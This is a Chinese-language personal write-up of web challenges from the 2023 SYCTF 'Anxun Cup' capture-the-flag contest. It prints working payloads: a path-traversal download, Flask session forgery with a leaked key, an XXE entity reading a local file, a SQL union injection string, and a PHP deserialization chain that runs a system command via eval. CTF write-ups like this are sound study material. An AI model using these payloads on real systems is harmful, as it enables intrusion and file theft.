[2023SYCTF"安洵杯"]赛后总结(摆烂版)
最快速,最新鲜,最主观的挨打体验。
5道web,看了4道,细看3道,解出1道,可以说是相当菜了。可恶啊😡😡😡
CarelessPy
打开主页,提示了三个路由/eval、/login和/download?file=
eval里提示可以通过?cmd=传入命令,但测了之后应该是scandir()的参数,不过可以通过这个找到了/app/__pycache__/part.cpython-311.pyc。
用/download?file=../../../app/__pycache__/part.cpython-311.pyc下载,反编译得到part.py的源码,其中有SECRET_KEY:
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11
import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'
在/login页面用密钥解开session,重新构造{'islogin': True}登录。

XML外部实体注入:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag">]>
<result>
<ctf>123123</ctf>
<web>&xxe;</web>
</result>

感想:XXE确实没好好学过,最后一步卡了半天😢
Confronting robot
第一个注入点是?myname=,没有过滤,使用联合查询sky' union select (select group_concat(username) from name)--+找到/sEcR@t_n@Bodyknow.php

然后就尬住了。/sEcR@t_n@Bodyknow.php可以执行sql语句,得知game为空,以及它的两个字段choice和round。
game.php里有这个猜拳机器人的逻辑,但是数据库为空执行会报错

这里loseorwin函数中的NULL就是查询的结果
Fatal error: Uncaught TypeError: Argument 2 passed to loseorwin() must be of the type string, null given, called in /var/www/html/game.php on line 38 and defined in /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('S', NULL) #1 {main} thrown in /var/www/html/game.php on line 11
知道了字段,也可以执行sql语句,我的思路就是插入数据到game表中。但是权限不够,无法插入数据,这题最终也没有解出。
感想:解这道题耗得最久的一步就是在第一部分,当时用想着这么简单的注入直接上sqlmap,结果跑了个空表出来。

然后就尝试各种写文件,人都麻了🤡
4号的罗纳尔多
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}
第一个正则的绕过方法参考:愚人杯3rd easy_php
用脚本找个符合要求的类:
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array('unserialize',))) {
print $class . '::' . $method . "\n";
}
}
}
这个正则匹配的是O:或a:开头或字符串中间出现Array|Iterator|Object|List的字符串,这里选用SplQueue类绕过第一个正则:
<?php
class evil{
public $cmd;
public $a;
}
$a = new evil();
$queue = new SplQueue();
//echo serialize($queue);
$queue->enqueue($a);
echo serialize($queue);
现在就让eval执行命令即可,if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))这个条件让$cmd中只能出现大小写字符、左右括号、分号和下划线。
目的是避免givemegirlfriend!对$cmd拼接导致的eval无法执行。
使用__halt_compiler();是一个语言构造器,它会立即停止编译器的解析,POP链构造:
<?php
class evil{
public $cmd='system(ls);__halt_compiler();';
public $a;
}
$a = new evil();
$queue = new SplQueue();
//echo serialize($queue);
$queue->enqueue($a);
echo serialize($queue);
本地成功了但是服务器却没反应?!!!

然后比赛就结束了😭
task
这题点开简单看了下,似乎是Go的,不太会捏。
总结
体感其实还蛮不错的,而且队友都很给力!下次干回来!!!
之后等wp出了再把这次比赛的知识点好好总结一下,就先这样咯~